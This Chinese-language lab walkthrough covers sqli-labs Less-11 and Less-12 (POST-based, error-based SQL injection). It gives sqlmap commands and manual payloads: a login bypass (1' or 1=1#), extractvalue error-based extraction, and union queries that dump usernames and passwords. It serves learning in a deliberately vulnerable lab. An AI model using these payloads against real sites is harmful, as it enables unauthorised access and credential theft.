less-11(基于错误的POST型单引号字符型注入)
sqlmap
1.使用bp抓包
2.保存为1.txt在本地,使用sqlmap查询数据库
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" --dbs
3.查询当前数据库的所有表
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security --tables
4.爆字段名
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security -T users --co
lumns
5.爆数据
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security -T users -C "username,password" --dump
手注
1.随便输点什么,bp抓包
发现是post请求
2.查看一下源码
两个框分别是uname,passwd
3.判断注入类型
可以判断出是单引号字符型注入
由报错信息可知,--+没有发挥作用,尝试用其他注释符:#
4.注释符可以用#
5.使用万能密码登陆成功
1' or 1=1#
6.使用union联合查询,判断列数为2
7.报错注入常用函数:报错注入常用函数_寻岛小白的博客-CSDN博客
利用基于extractvalue()的报错注入
extractvalue()函数是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数;
Payload:extractvalue(xml_document,concat(0x7e,concat(database())))
具体用法:extractvalue(1,concat(0x7e,(select database())))
extractvalue()有两个参数,当写入不合法的内容就会报错(合法不会显示),通过报错,可以将我想要查询的东西带出来。基于此我们查看当前数据库,构造uname:1' union select 1,extractvalue(1,concat(0x7e,(select database()))) #或者1' and extractvalue(1,concat(0x7e,(select database()))) ,报错注入可以不借助联合查询,在没法用union联合查询时可以用报错注入,但前提还是不能过滤一些关键的函数。其中0x7e是~,extractvalue()里第一个参数随意,这里随便写了个1
可以看到数据库是security。接下来看表名,构造uname为
1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()))) #
提交完发现提示不止一行,后面加个limit语句限制输出1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) #
通过更改limit第一个参数查看不同行
或者1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
查看后发现有个表叫users,下面查列名,构造uname:1' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) #
看到列名,下面查具体数据,构造uname:(0x3e是冒号)
concat函数:1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1))) #
concat_ws函数:concat_ws(0x3a,username,password)。可以看到确实查出来了,但这样有点慢
concat,
concat_ws()函数,group_concat()函数的区别以及用法:
MySQL之concat的用法_mysql concat_彭俞伟的博客-CSDN博客
group_concat函数:1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #
看到显示不全,那是因为extractvalue()函数最多显示32位,于是可以用substring()函数来截取,一段一段的看,构造uname:1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,32))) #
substring函数第一个数字表示起始位置,第二个数字表示读取长度。
LESS-12(基于错误的POST型双引号字符型注入)
1.bp抓包
2.保存到本地,sqlmap爆数据库
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" --dbs
3.爆表
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security --tables
4.爆字段
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security -T users --col
umns
5.爆数据
sqlmap.py -r "C:\Users\wy199\Desktop\1.txt" -D security -T users -C "password,username" --dump
手注
1,1'都登录失败,1"报错如下
可以看到有报错回显,且回显信息为:“1"”) and password=(“”) LIMIT 0,1。 可以猜测sql语句为:select username, password from 某表 where username=("用户输入") and password=("用户输入") limit 0,1
,然后尝试闭合双引号和括号,并注释掉后面的内容,构造1") #
提交
order by 看看列数,order by 2显示登录失败,order by 3有报错回显 ,说明两列
构造1") or 1 #
看看登录成功会有什么效果,结果仍有回显。那么就试试联合查询,构造1") union select 1,2 #
查看数据库名,1") union select 1,database() #
查看表名:1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查看列名:1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
查看数据,1") union select 1,group_concat(username,0x3a,password) from users #